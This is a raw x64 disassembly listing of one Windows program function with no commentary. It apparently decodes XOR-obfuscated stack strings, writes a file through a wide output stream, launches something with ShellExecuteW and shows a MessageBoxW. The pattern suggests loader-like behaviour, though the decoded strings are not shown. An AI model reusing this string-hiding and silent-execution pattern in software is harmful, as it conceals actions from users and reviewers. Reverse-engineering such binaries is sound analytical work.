movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x60]
call fcn.140008880
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rcx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x70]
lea rdi, [rcx + rax*2]
mov rbx, rdi
mov rdx, rdi
call fcn.140001a80
cmp rax, rdi
je 0x140004c1b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140004bf0
cmp cx, 0x2f
jne 0x140004bf9
add rax, 2
cmp rax, rdi
jne 0x140004be1
cmp rax, rdi
je 0x140004c1b
nop
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x140004c1b
cmp cx, 0x2f
je 0x140004c1b
mov rbx, rdx
cmp rax, rdx
jne 0x140004c00
mov qword [rbp + 0x2f0], rbx
sub rdi, rbx
sar rdi, 1
mov qword [rbp + 0x2f8], rdi
movaps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp], xmm0
lea rdx, [rbp]
lea rcx, [rbp + 0x580]
call fcn.140008880
nop
lea rdx, [rbp + 0x580]
cmp qword [rbp + 0x598], 7
cmova rdx, qword [rbp + 0x580]
mov rcx, r14
call fcn.140007500
mov r8, rax
movabs rax, 0x98f127bc75f00681
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x80], rcx
movabs rax, 0xfb36a0d721a9e5c0
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x88], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x6a0], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
mov rcx, r8
call fcn.140007500
nop
mov rdx, qword [rbp + 0x598]
cmp rdx, 7
jbe 0x140004d2b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005568
call fcn.140009294
xor ebx, ebx
mov qword [rbp + 0x590], rbx
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], bx
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x140004d86
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000556f
call fcn.140009294
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], bx
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x140004dd6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005576
call fcn.140009294
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], bx
mov rdx, qword [rbp + 0x58]
cmp rdx, 7
jbe 0x140004e26
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000557d
call fcn.140009294
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], 7
mov word [rbp + 0x40], bx
movabs rax, 0x988627d275a806ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xfb64a08521e6e5a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xbb578990b61bbe82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x72681325be303a70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x67332ffbbfe036f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xebc7989b2eb1f3c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0x16ef8ecf7adb412e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rax, 0xb0317ef22fcf3266
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
movabs rax, 0x1d8aca1ab0043021
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rdx, 0x9ec2b6ff9ab67c74
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movabs r14, 0xbb1289dcb649becd
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rdi, 0x724d1369be753a26
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movabs rax, 0x67112fc6bfdd36d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
movabs rax, 0xeba098bb2e93f3f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rax, 0x16cf8ea07aaf4141
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rcx, 0xb0417e9d2fa0320a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movabs rax, 0x1d8aca1ab004302b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x4e0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqa xmm0, xmmword [rbp + 0x140]
vxorps xmm0, xmm0, xmmword [rbp + 0x520]
vmovdqa xmmword [rbp + 0x140], xmm0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x3b0]
vzeroupper
call fcn.140007500
movabs rax, 0x9884279e75ab06c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x3b0]
call fcn.140007500
mov rdx, qword [rsi]
mov rcx, rax
call fcn.140007500
mov r8, rax
movabs rax, 0x98a427f275ce06a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0xa8], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x680], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
mov rcx, r8
call fcn.140007500
movabs rax, 0x9884279e75ab06c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x3b0]
call fcn.140007500
mov rcx, rax
lea rdx, [rbp + 0x160]
call fcn.140007500
mov r8, rax
movabs rax, 0x98a427f275ce06a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc0], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0xc8], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x660], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
mov rcx, r8
call fcn.140007500
lea rcx, [rbp + 0x3b8]
call fcn.140006cc0
test rax, rax
jne 0x140005276
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x3b0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov r8, qword [rsi]
movabs rax, 0x98ca279775be06cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0xd0], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x3b0], rax
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3ac], edx
lea rax, vtable.std::basic_filebuf_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x438], 0
je 0x14000537d
lea rcx, [rbp + 0x428]
mov rax, qword [rbp + 0x3d0]
cmp qword [rax], rcx
jne 0x14000537d
mov rdx, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x440]
mov qword [rax], rcx
mov rax, qword [rbp + 0x3f0]
mov qword [rax], rcx
sub rdx, rcx
sar rdx, 1
mov rax, qword [rbp + 0x408]
mov dword [rax], edx
cmp byte [rbp + 0x434], 0
je 0x140005392
lea rcx, [rbp + 0x3b8]
call fcn.140006cc0
lea rcx, [rbp + 0x3b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x458]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
jmp 0x140005495
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0xe0], xmm0
movabs rax, 0x98cb278075bc06e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xfb36a0d721a3e5fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x4c0], xmm0
mov r9d, 0x10
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x4c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsi, 0x10
lea rax, [rsi - 8]
cmp rax, r15
jne 0x140004490
movabs rax, 0x98ca279775be06cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4c0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
xorps xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x4c0], xmm0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x4c0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov rcx, qword [rbp + 0x378]
test rcx, rcx
je 0x1400055a2
mov rdx, qword [rbp + 0x388]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000558b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000558b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ebx, ebx
jmp 0x1400054b0
call fcn.140009294
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x378], xmm0
mov qword [rbp + 0x388], rbx
mov rcx, qword [rbp + 0x360]
test rcx, rcx
je 0x1400055fc
mov rdx, qword [rbp + 0x368]
call fcn.140007df0
mov rdx, qword [rbp + 0x370]
mov rcx, qword [rbp + 0x360]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400055f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009294
xor eax, eax
mov rcx, qword [rbp + 0x6c0]
xor rcx, rsp
call fcn.140009160
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret